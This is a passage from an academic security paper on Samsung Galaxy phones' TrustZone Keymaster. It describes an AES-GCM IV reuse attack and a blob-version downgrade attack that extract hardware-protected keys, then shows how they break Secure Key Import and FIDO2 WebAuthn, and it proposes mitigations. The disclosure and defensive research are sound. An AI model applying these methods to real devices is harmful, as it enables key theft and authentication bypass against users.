protected keys, or higher-level protocols that rely on remote
attestation (e.g., cloning a FIDO2 token or by stealing a key
that was securely imported).

We follow the Android Platform Security Model by
Mayrhofer et al. [42] that states that the hardware protection
and isolation of cryptographic keys offered by TrustZone and
the Keymaster TA should prevent any key compromise even
by such an attacker. This is consistent with the attack model
used by Harrison et al. [36] as well as Lapid and Wool [40].

Note that the attacks described in Sections 4 and 5 do not
require us to actually run code in the Android Kernel. For
our attack, we only require code execution in EL0 (Android
user mode) with sufficient privileges to read key blobs, and
appropriate SELinux permissions to communicate with the
TZOS drivers. For instance, a vulnerability in the Android
Keystore user mode daemon/HAL (such as [37]) would likely
suffice. Alternatively, a root malware or a supply-chain attack
that patches the Keymaster HAL can be used for both attacks.

In our experiments, we used Samsung Galaxy S9, S10, and
S21 devices, rooted using Magisk [68]. Note that when we
rooted the devices, the Samsung KNOX warranty fuse was
set. This does not affect our attacks as we don’t target any
KNOX functionality.

3 Dissecting the Keymaster TA

3.1 Survey of the Keymaster TA Family

In this paper we focus on Samsung’s implementation of the
Keymaster TA and its new TZOS named TEEGRIS. Like

other TZOSs and TAs, Samsung’s implementation is vendor-
specific and is a proprietary closed-source system with little-
to-no documentation available. To understand the crypto-
graphic design implemented by the Keymaster TA, we stati-
cally analyzed the binaries of firmwares and TAs in 3 TZOS’s
(TEEGRIS, Kinibi and QSEE) using Ghidra [45]. Addition-
ally, we used the Samsung Open Source [55] website to down-
load the Android kernel sources for our device.

Overall, we evaluated 26 firmwares for both Exynos and
Snapdragon models of S8, S9, S10, S20, and S21 (including
variants such as S9+, Note9, S10+, S20+, etc.) published be-
tween 2018 and 2021. We found that Keymaster TA’s code
base is extremely similar in theses firmwares (except the S8),
even across TZOSs (Kinibi/QSEE/TEEGRIS).

In our analysis, we noticed that there is a significant dif-
ference between the Keymaster TA in S8 and in the newer
models. As we shall see in Section 4, one specific code change
introduced in the S9 makes it and all the newer models vul-
nerable to attacks. Although S20 and S21 models include
the more secure Strongbox Keymaster functionality (using a
dedicated tamper-resistant hardware security module), they
are still vulnerable to our attacks as they share the same vul-
nerable cryptographic design and API.

As Kinibi and QSEE have been more thoroughly studied
by the security community [12, 48, 49], when we discuss
details we refer to TEEGRIS unless otherwise noted. See the
extended version of this paper [59] for details on firmware
analysis.

3.2 The Keymaster HAL

The Keymaster HAL is an interface between Android and the
vendor-specific Keymaster implementation. The Android doc-
umentation provides reference guidelines for implementers of
Keymaster HALs [30]. It is implemented in the Android user
mode and communicates with the Keymaster TA using kernel
drivers and World Shared Memory buffers (see Fig. 3). The
extended version of this paper [59] contains a more detailed
overview of the Keymaster HAL in TEEGRIS.

Android provides an open-source API for functions that
the Keymaster should implement [29]. This API includes
many functionalities such as key generation, key import, and
cryptographic operations such as encrypt/decrypt/sign/verify
using the keys stored in the encrypted blobs.

The Keymaster HAL API in TEEGRIS is implemented in
a number of undocumented shared-objects that use TEEGRIS
kernel drivers. To explore the Keymaster TA we reversed
engineered the Keymaster HAL and implemented our own
Keymaster client—an Android process that sends our custom
requests to the Keymaster TA without any input validation or
filtering.
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Figure 3: Overview of the Hardware backed keystore2
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Figure 4: The three KDF versions for HDK salt derivation, assuming the Application ID is “id” and the Application Data is
“data”. The salt value is the SHA256 digest of the concatenation of the values. Values shaded in blue are optional, values shaded
in green are new to that version.

3.3 Key Blob Encryption

The main focus of our research is how key blobs are decrypt-
ed/encrypted. Based on our analysis and reverse engineering
of the proprietary Keymaster TA, we will now describe the
process at a high level. For a detailed description of the control
flow inside the Keymaster TA, see Appendix B. As mentioned
in Section 2.4, the Keymaster TA encrypts key material inside
a blob. This protects the key material from extraction while
allowing it to be stored by the Normal World application.
As we discovered during our research, each blob contains an
encrypted part that includes the key material and various pa-
rameters. The blob also contains a clear-text part containing
the information required for decryption, such as the IV and
AAD used in the encryption.

The cryptographic foundation which the Keymaster TA
relies upon is a permanent, hardware, device-unique 256-bit
AES key called the Root Encryption Key (REK) [61]. This
key is only present in the secure hardware cryptographic
engine—the Keymaster TA cannot access it directly.

Each key blob is encrypted using its own Hardware Derived

Key (HDK) that is derived from the REK. A blob’s HDK is
derived using a Key Derivation Function (KDF) that mixes
the REK with a blob-specific salt value. The KDF itself is
accessed by the Keymaster TA through a TZOS-internal ioctl
API. The salt for deriving the HDK is computed as the SHA-
256 digest of a concatenation of several values. Samsung’s
salt-generation method evolved between device models, as
we discuss next.

3.4 KDF Versions of Key Blobs
The National Information Assurance Partnership (NIAP) cre-
ated the Mobile Device Fundamentals Protection Profile
(MDFPP) that includes core security requirements for de-
vices. The constant string used in the salt derivation (in all
key blobs flavors) suggests that Samsung complies with the
certification, and indeed Samsung devices are MDFPP CC
certified.

In our analysis, we identified three different blob salt-
derivation versions, which we call v15, v20-s9, and v20-s10.
The differences between the versions are the values used in

256    31st USENIX Security Symposium USENIX Association



the string that is hashed to generate the salt for the key deriva-
tion. All versions can include optional values that are called
Application ID and Application Data. These values are set by
the Normal World. Fig. 4 shows example strings for each of
the three blob versions.

The first blob key version, which we call v15, is the version
used in Galaxy S8. The salt in v15 key blobs only depends
on the application ID and data set by the Normal World (and
a constant string).

Galaxy S9 introduced a new version which we call v20-s9.
This version adds two new values to the SHA-256 digest,
which we call root_of_trust and integrity_flags. This
might be due to a new MDFPP regulation that requires derived
keys to be bound to the device’s integrity.

The root_of_trust is “a collection of values that defines
key information about the device’s status” [33]. The Keymas-
ter TA computes integrity_flags based on the integrity
status of the device (a normal device should have 0, a rooted
device has value 7).

In our analysis, we noticed that although S9 uses the new
salt version v20-s9 by default, it still includes code that im-
plements the older v15 blob version. The Keymaster TA API
exposed the option to use this older version to the Normal
World. As we were not able to find any use for this option by
the Normal World, we believe that this is latent code that is
never used.

On S10, S20, and S21 devices, we found a revised KDF that
is very similar to the v20-s9: it uses exactly the same strings,
root of trust and integrity flags, with one crucial addition: in
v20-s10 the salt also includes a fresh per-blob 16-byte ran-
dom value hek_randomness generated inside the TrustZone.
Similar to S9, we also found latent code that implements v15
and is exposed to the Normal World.

4 Attacking the Keymaster TA

This section describes two attacks against the Keymaster TA
that allow us to extract hardware-protected key material. Table
2 includes a summary of the Samsung Galaxy devices that
we’ve examined and their susceptibility to IV reuse.

4.1 IV Reuse Attack on v15 and v20-s9 Blobs

As we discussed in Section 3, the wrapping key used to en-
crypt the key blobs (HDK) is derived using a salt value com-
puted by the Keymaster TA. In v15 and v20-s9 blobs, the
salt is a deterministic function that depends only on the appli-
cation ID and application data (and constant strings), which
the Normal World client fully controls. This means that for a
given application, all key blobs will be encrypted using the
same key. As the blobs are encrypted in AES-GCM mode-
of-operation, the security of the resulting encryption scheme
depends on its IV values never being reused.

Surprisingly, we discovered that the Android client is al-
lowed to set the IV when generating or importing a key. All
that is necessary is to place an attacker-chosen IV as part
of the key parameters, and it is used by the Keymaster TA
instead of a random IV. As the Normal World also controls
the application ID and application data, this means that an
attacker can force the Keymaster TA to reuse the same key
and IV that were previously used to encrypt some other v15 or
v20-s9 blobs. Since AES-GCM is a stream cipher, the attacker
can now recover hardware-protected keys from key blobs.

Given a key blob BA wrapping an unknown key KA, an
attacker can import another key blob BB with a known (suf-
ficiently long) key KB that was encrypted using the same IV
and the same salt. To do so the attacker first extracts the IV
from the key blob BA, and passes this IV and the same appli-
cation ID and data to the Keymaster TA’s import key function.
The known KB will be encrypted using the same blob encryp-
tion key HDK (as the salt only depends on the application ID
and data) and the same IV (by construction) as was used to
encrypt KA.

As with any stream-cipher encryption, we can now use our
knowledge of KB together with the ciphertexts BA and BB to
recover KA. Let us denote the key-stream created from key
HDK with a given IV as E(HDK, IV), then:

BA ⊕BB ⊕KB

= (E(HDK, IV)⊕KA)⊕ (E(HDK, IV)⊕KB)⊕KB

= KA ⊕KB ⊕KB = KA

All key blobs created on the Galaxy S9 are vulnerable, as
its default blob version is the vulnerable v20-s9. However, on
S10, S20, and S21 devices, the default version is v20-s10, and
its salt is randomised by the hek_randomness field (recall
Fig. 4), hence each blob is encrypted with a uniquely derived
encryption key. Although the attacker can still cause IV reuse,
this reuse is not exploitable. We note that, although S8 can
create only blobs with version v15, its Keymaster TA ignores
the IV parameter in key generation and key import functions,
i.e., it does not allow us to set the IV and is thus not vulnerable
to any of our attacks.

To demonstrate our IV reuse attack, we implemented it on
Galaxy S9 (all key blobs), S10, and S21 (by forcing the cre-
ation of v15 key blobs), and we were able to recover securely
generated AES, RSA, and ECDSA keys from encrypted blobs.

4.2 The Downgrade Attack
On S10 and later models, the default blob version is v20-s10.
However, to our surprise, we discovered the existence of latent
code that allows the Normal World to request the creation of
v15 blobs by simply passing an “encryption version” parame-
ter with a specific value. Although the Keymaster HAL API
does not normally pass this parameter, its existence can be
exploited by a privileged attacker to force all new blobs to
version v15.
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Table 2: Summary of Samsung Galaxy devices Keymaster features that make them vulnerable to IV reuse - 3 means true and
7 means false

Device Default blob version Deterministic HDK Can attacker set IV Vulnerable to IV reuse Can attacker downgrade to v15

S8 v15 3 7 7 N/A

S9 v20-s9 3 3 3v15, 3v20-s9 3

S10 v20-s10 3v15, 7v20-s10 3 3v15, 7v20-s10 3

S20/S21 v20-s10 3v15, 7v20-s10 3 3v15, 7v20-s10 3

This downgrade attack makes newer devices, including
Galaxy S10, S20, and S21 vulnerable to the IV reuse attack
(after the Normal World is compromised). In Section 5 we
show that this can be exploited to attack security-critical pro-
tocols such as Google’s Secure Key Import and FIDO2 We-
bAuthn.

To demonstrate our findings, we wrote a GDB script (see
the extended version of this paper [59]) that intercepts the call
to the Keymaster HAL in the Normal World. We hooked the
key generation function and modified the passed parameters
in flight to add the encryption version parameter with the
value 0x f indicating v15. This caused the Keymaster TA to
always generate v15 key blobs and allowed us to recover the
encrypted keys using the IV reuse attack. Creative malware
authors could achieve a similar effect in other ways, such as
always returning a pre-computed v15 key blob, or possibly
patching the Keymaster HAL so that it always downgrades to
v15 blobs.

4.3 Persistence of v15 Blobs

According to the Keymaster API [29], key blobs become “old”
when the Keymaster device is updated or when the Normal
World OS is upgraded to a newer version. When a key be-
comes “old”, the API functions return a special error code
that indicates that the key must be “upgraded”. The Key-
master API exposes the upgradeKey method which unwraps
(decrypts) the key, examines the OS versions inside the key
parameters and compares them to the current OS version. If
the current OS version is higher it “upgrades” the key by
wrapping (encrypting) it again (and adding the current OS
version to the key parameters list).

However, we found that the key parameters that are used in
the new blob’s wrapping are the same as those in the old key.
As any key blob created by our downgrade attack includes
the encryption version parameter, “upgrading” such a down-
graded v15 key blob will result in a new but still vulnerable
v15 blob.

According to Samsung [57], this is the intended behavior,
and since the S10 and newer devices have v20-s10 as the
default version, no v15 key should exist “in the wild”. How-

ever, this behavior of the upgradeKey function allows our
downgrade to persist through firmware updates.

5 Implications of the Attacks

In this section, we explore the possible implications of the
attacks described in Section 4. Naturally, an attacker that
controls the Normal World can simply ask the TrustZone
to locally perform any permitted individual cryptographic
operation on their behalf. However, we shall see that by ex-
tracting the keys, the attacker is able to bypass key usage
limitations. Moreover, they can perform advanced attacks that
break cryptographic protocols with remote parties, protocols
specifically designed to utilize the security guarantees offered
by the Secure World.

As we have seen in the recent line of exploits observed
in the wild [14, 23], such normal-world compromises can be
done remotely, covertly, and without changing the state of
the bootloader fuses. The attacker then aims to compromise
the security properties of the higher-level protocols such as
WebAuthn and Secure Key Import. While our attacks can-
not decrypt v20-s10 keys generated before the compromise,
the downgrade attack can break the security of remote at-
testation on the latest devices (including S10, S20, and S21)
by compromising any key that is generated after the covert
compromise.

5.1 Authentication and Confirmation Bypass
The Keymaster TA can be used to enforce restrictions on
the use of cryptographic keys to prevent misuse of the keys
without the user’s consent or knowledge (e.g., by an attacker
controlling the Normal World).

For example, keys can be limited for specific use,
such as signature only. Moreover, applications can create
“authentication-bound” keys that require the user to be re-
cently authenticated in order to use the key, e.g., by specifying
a timeout since the last time the user entered their passcode,
or requiring a biometric prompt authentication [27].

The usage and authentication requirements are enforced by
the Keymaster TA when it is attempting to use the blob. This
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prevents attackers from using the keys on a device without
the user’s consent — e.g., the secure hardware can refuse to
use the key if the user is not authenticated. For instance, the
attacks shown by Cooijmans et al. [18] and by Breński et
al. [15] fail when the restrictions are enforced.

Similarly, Protected Confirmation [19] allows signing keys
to be used only if the user provides confirmation of the data
to be signed (via a trusted UI interface). Google discussed
some use cases for Protected Confirmation [19], including
Medical applications, such as an injection of insulin by Big-
foot Biomedical [13], and Enterprise applications such as
Two-Factor Authentication including Duo Mobile [10].

However, the security of these restrictions is based on the
assumption that the protected keys cannot be extracted from
inside the TrustZone. An attacker can use our attacks to ex-
tract the keys and completely bypass any restrictions. For
example, they can use “authentication-bound” without knowl-
edge of the user’s password or sign payment transactions
without user interaction or consent. Moreover, they can con-
tinue to use the keys even if they no longer have access to
the device. This is especially useful if the attacker has only
limited-time physical access to the device (e.g., search by
border agents, law enforcement, evil housekeeping).

5.2 Extracting Keys from Secure Key Import
The Keymaster TA supports Secure Key Import [69] which
allows applications to securely provision existing keys into
Keystore. The protocol’s goal is to allow servers to securely
share a secret key with an Android device while preventing the
key from being intercepted or extracted from the device, even
if the device is compromised. The key is encrypted by the
server and only decrypted inside the secure hardware. Thus
it is bound to the device, allowing it to be used in various
scenarios such as SSH/RDP, DRM, secure payment, etc. For
example, Google Pay uses Secure Key Import to provision
some of its keys [69].

Secure Key Import allows a server to securely send some
key material K to the device. A simplified version of the pro-
tocol and our attacks is shown in Fig. 5. For the full protocol
details, see [25]. In high-level, Secure Key Import works as
follows:

1. The application requests the Keymaster TA to generate
an RSA private-public key pair (Pub,Priv), and receives
an encrypted key blob BRSA that contains Priv.

2. The application also requests the Keymaster TA for the
attestation certificate Cert that verifies that BRSA was
generated inside the secure hardware. Cert is signed by
asymmetrically using a dedicated private key that is only
accessible inside the TrustZone, and its corresponding
public key is signed by Google.

3. The application sends Cert to the server. After verifying

Cert, the server uses Pub to encrypt K, generating C =
EncPub(K), and sends C to the device.

4. To finish the import process, the application passes C and
BRSA to the Keymaster TA. The Keymaster TA decrypts
BRSA, and uses Priv to decrypt C and recover K. Then it
returns to the application an encrypted key blob BK that
contains K.

While Secure Key Import protects the keys in transit, after
importing, they are encrypted inside a key blob as other im-
ported keys. Therefore, an attacker that can recover the key
material (as in our attack) can decrypt securely imported keys
and break the security of applications that use Secure Key
Import.

As before, any key K imported into Galaxy S9 can be
extracted using our IV reuse attack on the encrypted blob BK .
However, unlike the regular key import and key generation
functionalities, the Secure Key Import API call does not allow
us to specify the version of the key blob, making it resilient
to our downgrade attack. To be able to break Secure Key
Import on the newer S10, S20, and S21, we need to use a
different approach: Instead of extracting the key from BK ,
we performed our downgrade and IV reuse attacks against
BRSA and used the recovered private key Priv to decrypt C
and recover the encrypted key in transit, as shown in Fig. 5.

Since BRSA was securely generated in the TrustZone — as
a v15 blob — the Keymaster TA function will happily attest
to its validity and generate a valid Cert that will allow us to
continue with the Secure Import process. When we receive the
encrypted key C from the server, we can use Priv to perform
the same decryption process as the Keymaster does to extract
the imported key K.

We demonstrate this attack in our proof-of-concept on
Galaxy S10 and S21 by performing the downgrade attack
from Section 4.2 on the wrapping key BRSA. We intercept the
request to generate the RSA keys and modify it to wrap the
generated RSA keys in blob BRSA with version v15. We then
continue to recover Priv with the IV reuse attack.

5.3 Bypassing FIDO2 WebAuthn
FIDO2 WebAuthn [65] is a specification by W3C and FIDO
that allows the creation and use of public-key cryptography
to register and authenticate to websites instead of passwords.
The authentication keys can be generated and used inside
an internal secure element called a “platform authenticator”
(e.g., TrustZone, Trusted Platform Module (TPM) [34]) or
an external secure element called a “roaming authenticator”
(e.g., Yubikey [70] and Solo [60]). Such secure elements aim
to provide two main security guarantees:

1. An attacker should not be able to extract the keys from
the secure element. Meaning that authentication is only
possible using the secure element, and it can’t be cloned.
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Figure 5: Simplified Secure Key Import: the “hacker” icons indicate the interception points used in our attack 2

2. Authentication can require user presence. For example,
the user can be required to press a button or authenticate
using a biometric scan.

Android devices can use the Android hardware-backed Key-
store to provide similar security guarantees, using TrustZone
instead of a dedicated external hardware secure element.

WebAuthn includes two main stages (see Fig. 6):

1. Registration: the device creates a key pair and sends an
attestation to the web server. If the attestation is verified,
the server associates the public key with the user.

2. Assertion: when the user tries to login, the server sends a
challenge to the device, the device requires user presence
and authentication (e.g., a Biometric Prompt) and after
receiving user consent the device signs the challenge
with the private key. If the server verifies the signature
(with the public key) - the user is logged in.

FIDO2 WebAuthn implementations for Android use the
Hardware-Backed Android Keystore for key generation and
key attestation during registration, and for performing asser-
tions (signing with a key blob) that require user confirmation
at login time. When using a Hardware-backed Keystore, We-
bAuthn is supposed to withstand a compromise of the Nor-
mal World. Similarly to what is done in Secure Key Import
(Section 5.2), the (Pub,Priv) key pair is generated by the
Keymaster inside the TrustZone, and the application receives
only an encrypted key blob BAUT H that contains the key pair.
The application sends the attestation certificate (including
the public key) to the FIDO server. When authentication is

required, the application passes the server’s challenge and
BAUT H to the Keymaster TA, asking it to sign it with Priv.

However, we can use our attacks to extract the private key
used for authentication and to violate the expected security
guarantees. This may allow attackers to clone the “platform
authenticator” and allow attestation from other devices with-
out having further access to the target smartphone. Moreover,
we can use the recovered private keys to authenticate to a
website without the user’s presence or consent. Our attack
is similar to our previous attack against Secure Key Import
(Section 5.2): On Galaxy S9 we use our IV reuse attack to
extract Priv from the BAUT H key blob; and on Galaxy S10,
S20, and S21 we must first perform a downgrade attack. A
simplified version of the protocol and our attack is shown in
Fig. 6. At a high-level, out attack works as follows:

1. When the device is registered to a website (e.g., Pay-
pal.com), the attacker uses the downgrade attack from
Section 4.2. They intercept the request to generate the
keys and modify it to force the generated keys in blob
BAUT H to use the v15 KDF method.

2. The attacker uses the IV reuse attack to extract the private
key material of the key blob.

3. The attacker can now silently authenticate to the website
by signing the Assertion challenge with the private key—
without user confirmation.

We demonstrate this attack on Samsung Galaxy S10 us-
ing StrongKey FIDO sample Android native application and
client for FIDO [62]. The StrongKey system has two com-
ponents: a Linux server that runs the FIDO(R) Certified
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Figure 6: FIDO2 WebAuthn: the “hacker” icons indicate the interception points used in our attack 2

StrongKey FIDO Server, and the client application, which
in our case is the sample Android application. We installed
the application on the device without modifications, and used
it to register and authenticate against StrongKey’s demo server.
When the user registers to a website the Android StrongKey
application requests to generate a key through the Keymaster
HAL. Using the downgrade attack (recall Section 4.2 and the
extended version of this paper [59]), the call to the function
nwd_generate_key is intercepted by our debugger and the
generated blob is forced to be a v15 blob BAUT H . We then
use the IV Reuse attack to on this blob and recover its private
key Priv. As in the Secure Key Import, the attestation works
seamlessly.

To validate our attack, we verified the recovered private
key Priv against the public key in the attestation certificate.
Using this private key an attacker is able to forge signatures
and bypass the Assertion stage. To complete our demo, we
created an alternative, modified version of the sample applica-
tion, which signs the website’s challenge using the recovered
private key KP instead of using Keystore—see Fig. 7:

1. Fig. 7a shows how we attach a debugger to the Keymas-
ter HAL process.

2. Fig. 7b shows the GDB output of the downgrade attack.

3. Fig. 7c shows that we are successfully registered against
the FIDO server—in the unmodified application.

4. Fig. 7d shows that the attacker successfully authenticates
using the alternative application.

5. Fig. 7e and Fig. 7f show an example of re-authentication
in the alternative application in order to approve a trans-
action.

Note that in our demo, we did not make changes to the
Android sample application by StrongKey: the interception is
done outside the application, and the alternative application
(for the assertion during login) required a minimal change
to use the recovered key. The registration and authentication
was done against StrongKey’s own demo server.

6 Discussion

6.1 Low-Level Cryptographic Issues
A fundamental issue in the Keymaster design is the choice of
a stream cipher, AES-GCM. The advantages of GCM, being
fast and parallelizable, seem less critical for blob encryption—
which is always coupled with slow I/O operations; whereas its
susceptability to keystream reuse is a cause for concern, as we
demonstrated. If the designers choose to retain AES-GCM as
a building block then using a nonce-misuse resistant AEAD
such as AES-GCM-SIV [35] should prevent IV reuse attacks.

The root cause of the IV reuse attack is that the API offered
by Keymaster TA allows the Normal World to set the value
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(a) Attaching a GDB debugger to the Keymaster HAL process

(b) During registration, the GDB script performs the downgrade attack

(c) Registration
success

(d) Authentication
success

(e) Checkout
example

(f) Re-authentication
success

Figure 7: Screenshots from bypasing of the FIDO2 WebAuthn Sample Application by StrongKey Demo. (7c) shows the
successful registration of the legitimate application; (7d)-(7f) show the successful re-authentication of the alternative application.

of the IV. The Keymaster API should not allow the user to
set the IV and instead always generate a random 12 byte IV.
Modern encryption libraries such as Tink [31] and Google’s
Trusty Keymaster implementation [32] handle the IV inter-
nally without exposing it in the API, thus protecting the user
from known pitfalls.

The root cause of the downgrade attack is that the API
allows the user to choose the blob version. The user should
not be given a choice over any option that might affect the
security of the encrypted blobs, especially if the user might be
malicious. Moreover, the existence of latent code in a security-
critical application such as the Keymaster TA increases the
size of the attack surface on the application and should be
avoided. As we have shown, exposing such latent code to an
external API invites exploitation by attackers.

Furthermore, the persistence of our downgrade to v15 in
blobs should not have been allowed. As the process to “up-

grade” old encryption blobs is already supported, it should
also encrypt the new blobs with the latest (and hopefully
safest) encryption option. A properly designed “upgrade” can
mitigate many downgrade attacks.

On the positive side, using internal randomness as part of
the key derivation process in the Keymaster TA makes the
encryption process more robust and actually blocks our attack,
despite the fact that the API still allows the IV to be set. The
reason the latest Samsung devices were still vulnerable is our
ability to downgrade the blob version to a version that does
not randomize the key derivation.

6.2 Composability: The Gap in Attestation

In protocols such as FIDO2 WebAuthn and Secure Key Im-
port, a trusted remote server uses key attestation to verify that
a key was generated in secure hardware. As we’ve shown
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for Samsung devices, and Busch et al. [16] have shown for
Huawei, the TEE implementation can be flawed, which allows
attackers to compromise the keys. The protocol step of key
attestation is supposed to mitigate such scenarios.

The problem is that the attestation, as defined in the Key-
master HAL, does not commit to the cryptographic method
used to secure the key. In fact it does not even commit to the
version number of the Keymaster TA. This gap means that
the remote server that receives the attestation cannot set a
policy such as “only accept attestations for keys secured with
non-vulnerable KDF versions”.

The attestation data that is accessible to the remote
server [33, 67] includes general information about the
key (KeyDescription), whether the key is protected
by a TEE or HSM (SecurityLevel), key properties
(AuthorizationList), and information about the device’s
status (RootOfTrust and VerifiedBootState) - e.g., if the
bootloader is locked. As recent attacks showed [14, 23], the
device can be remotely compromised without changing the
bootloader state.

The attestation certificate does contain a field called
osPatchLevel, which could possibly allow a server to iden-
tify vulnerable devices. However, as we’ve shown, Sam-
sung’s latest Keymaster simultaneously supports two KDF
methods: the insecure v15 and the secure v20-s10, and the
osPatchLevel field does not indicate which method was
used. Therefore, relying on the Keymaster TA’s software patch
level may still leave opportunities for misuse.

The security of protocols such WebAuthn depends on its
composition with the implementation and cryptographic de-
sign of the Keymaster TA. The current approach of using
vendor specific black-box designs makes it impossible to ana-
lyze the security of the composition. As we have shown, this
provides ample room for vulnerabilities.

6.3 TrustZone-based Keystore Standard

The attacks we described in this paper highlight the critical
vulnerabilities that can arise from problems in the crypto-
graphic design of Trustzone-based Keystore. However, so far,
these cryptographic designs and protocols have not received
much attention in the academic literature. We believe that this
is mainly due to the fact that the current ecosystem is based on
blackbox designs, with an API that is inconsistent and frag-
mented between different vendors. Indeed, uncovering the
vulnerabilities presented in this paper required a significant
amount of time-consuming reverse-engineering effort.

We hope that our work will motivate further research on
Keystore security and lead to a uniform open standard for
the Keymaster HAL and TA. Such a standard can reduce the
current barriers preventing researchers from analyzing the
security of the cryptographic designs and protocols. Similar
to the standardization process of TLS 1.3 [50], a collaboration
between academia and industry will allow for formal analysis

of the security of the overall design. This should include a
fine-grain threat model that will motivate breakdown resilient
designs.

For example, if several key encryption options are available,
the attestation certificate should provide details on the encryp-
tion method that was used for the key. This will allow servers
to block requests using vulnerable encryption methods and
mitigate attacks similar to our downgrade attack. Moreover,
formal analysis that includes the full API and key encryption
schemes could detect issues like the IV reuse vulnerability
early in the standardization process.

7 Related Work

Despite their prevalence and importance, there have been very
few studies of the cryptographic design of TrustZone instan-
tiations and their composability with higher-level protocols.
One exception is the review of the Huawei TrustedCore TZOS
by Busch et al. [16]. They have shown that, in fact, it does
not provide any hardware protection at all, as it uses hard-
coded fixed keys. To the best of our knowledge, our work is the
first to target and break the cryptographic design of a mature
hardware protection instantiation of TrustZone.

There have been several works showing protected keys
extraction using side-channels attacks. Lapid and Wool [40]
showed that the Kinibi TZOS’s AES-GCM implementation
is vulnerable to cache timing side-channel attacks, allowing
Key Encryption Key (KEK) to be compromised. Keegan [51]
showed that the ECDSA implementation in the QSEE’s Key-
master TA was vulnerable to a cache timing side-channel
attack that can be exploited to leak a hardware-protected EC
key. In contrast, as we target the cryptographic design, we
were able to extract keys even when side-channels mitiga-
tions such as Samsung’s Strongbox security processor were
implemented.

There have been several previous works analyzing the us-
age of Keystore-protected keys in applications and higher-
level protocols. Sabt et al. [52] showed a forgery attack against
the software-only Keymaster provided by Google. In compar-
ison, our attacks work against hardware-backed Keymaster
on the latest Samsung devices. Cooijmans et al. [18], and
Breński et al. [15] showed that a privileged attacker could
simply use Keystore keys without user consent if the keys
are not authentication-bound. In contrast, our attack recov-
ers the full keying material, allowing an attacker to use even
authentication-bound keys in unauthorized ways (bypassing
authentication/Protected Confirmation/Cloning). Prünster et
al. [47] explored the usage of key attestation in the Android
Keystore for sensitive operations. Our attacks on FIDO2 We-
bAuthn and Google’s Secure Key Import bypass attestation
because the key is indeed generated in secure hardware (and
the attacker recovers it).

Software vulnerabilities in TrustZone-based TEEs were
studied by many: Pinto and Santo [46] surveyed research on
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TrustZone and weaknesses of existing systems, Cerdeira et
al. [17] classified different software vulnerabilities in TEEs
and analyzed their architectural flaws, and Fleischer et al. [22]
evaluated the exploitability of memory corruptions in TEEs.
Alendal [1] exploited a stack-based buffer overflow to com-
promise the secure element of Samsung S20 Exynos devices.
Other attacks against Trustonic Kinibi and Qualcomm QSEE
include Sang et al. [48], Adamski, Guilbon and Peterlin [49],
Beniamini [11, 12], and Machiry et al. [41]. Our work shows
cryptographic design flaws that are not implementation flaws
and will therefore persist even if a memory-safe programming
language is used or if a separate hardware security model is
deployed.

When our research began, there were few resources avail-
able on the TEEGRIS TZOS. One exception is a blog by
Tarasikov [63] which provided useful insight for reverse-
engineering TEEGRIS. Later, Menarini et al. [43] published a
detailed blog on exploiting TEEGRIS. However, both are fo-
cused on software vulnerabilities and not on the cryptographic
design.

8 Conclusions

Vendors including Samsung and Qualcomm maintain secrecy
around their implementation and design of TZOSs and TAs.
As we have shown, there are dangerous pitfalls when dealing
with cryptographic systems. The design and implementation
details should be well audited and reviewed by independent
researchers and should not rely on the difficulty of reverse
engineering proprietary systems.

In this work, we examined the cryptographic design and
implementation of Android’s Hardware-Backed Keystore in
Samsung’s Galaxy S8, S9, S10, S20, and S21 flagship devices.
By an extensive reverse engineering effort, we were able to
analyze the Keymaster TA in multiple TZOSs (TEEGRIS,
Kinibi, and QSEE). To the best of our knowledge, we are the
first to explore the details of the Keymaster TA implementa-
tion in TEEGRIS.

Through our analysis we unveiled severe cryptographic de-
sign flaws. We identified an IV reuse attack on AES-GCM that
allows an attacker to extract hardware-protected key material,
and a downgrade attack that makes even the latest Samsung
devices vulnerable to the IV reuse attack. We demonstrated a
working key extraction attacks on the latest devices. We also
showed the implications of our attacks on two higher-level
cryptographic protocols between the TrustZone and a remote
server: we demonstrated a working FIDO2 WebAuthn login
bypass and a compromise of Google’s Secure Key Import.

Finally, we note that our attacks on the higher-level crypto-
graphic protocols work on new devices due to subtle attacks
arising from their composability with the lower-level key-
encryption. Furthermore, we argue that the design choice of
using the fragile AES-GCM stream cipher for authenticated
blob encryption deserves discussion. These issues further mo-

tivate the need for an open and standardized cryptographic
design.
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A ARM TrustZone Overview

ARM provides a reference implementation of secure world
software called ARM Trusted Firmware [6] (ATF), and the
Secure World is usually implemented by a specific vendor
(e.g., Qualcomm, Trustonic, Samsung) based on ATF. ATF is
responsible for performing Secure Boot, loading the differ-
ent bootloaders and launching the REE and TEE [2]. It also
contains a reference implementation for a Secure Monitor.

To achieve the isolation of the TEE and the REE, TrustZone
uses the NS (Non-Secure) bit which is set to 0 if the processor
is in Secure state and set to 1 if the processor is in Non-Secure
state. The secure state can be switched by executing the SMC
opcode (in exception level higher than EL0, e.g., EL1).

The Secure state applies to hardware peripherals and mem-
ory, by using the TZASC register (allows to restrict memory
to Secure World only) and the TrustZone Protection Con-
troller (TZPC). Menarini et al. [43] shows an example of how
the Trusted User Interface (TUI) uses the TZPC to modify
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the display and touch controllers as secure and the TZASC
configures secure memory for the display. Thus, a user can
enter a pin for a payment which will be safe from any Nor-
mal World attacker (even if the attacker executes code in the
Android OS kernel) and will not be leaked.

The Normal World can only access Non-secure memory,
but the Secure World can access Non-Secure memory. The
ARM documentation [7] states that Secure and Non-secure
cache entries can coexist, and that the Normal World can only
get a cache hit on Non-secure cache lines.

The ARMv8-A processor supports 4 exception levels [4]:

1. EL0 - usermode (application in Android, TA in TZOS)
2. EL1 - kernelmode (Android kernel, TZOS kernel)
3. EL2 - hypervisor (used by Samsung to implement

RKP [54], which protects the integrity of the Android
kernel)

4. EL3 - Secure Monitor

Fig. 1 shows the components in each exception level in the
TrustZone architecture.

When the processor is in Secure mode, we can denote S-
ELx, e.g., S-EL0 is the secure EL0. Most of our research
focuses on S-EL0 (where the Keymaster TA executes), S-EL1
(where the TZOS kernel handles ioctls that the Keymaster TA
calls) and EL3 (where the Secure Monitor executes a function
handler for a given SMC).

The Secure Monitor provides the interface between the
two worlds and performs switching when the SMC (Secure
Monitor Call) opcode is executed. Per the ARM SMC Calling
Convention [5], “The SMC instruction is used to generate
a synchronous exception that is handled by Secure Monitor
code running in EL3. The arguments are passed in registers
and then used to select which Secure function to execute.
These calls may then be passed on to a Trusted OS in S-EL1.”.
Note that the Secure World also uses SMC for some oper-
ations, such as power management or privileged operations
that can only be done in the Secure Monitor (EL3).

B The Control Flow in the Keymaster TA

Upon receiving control from an API call (from our client or
from the Keymaster HAL), the Keymaster TA has the follow-
ing flow in TA_InvokeCommandEntryPoint:

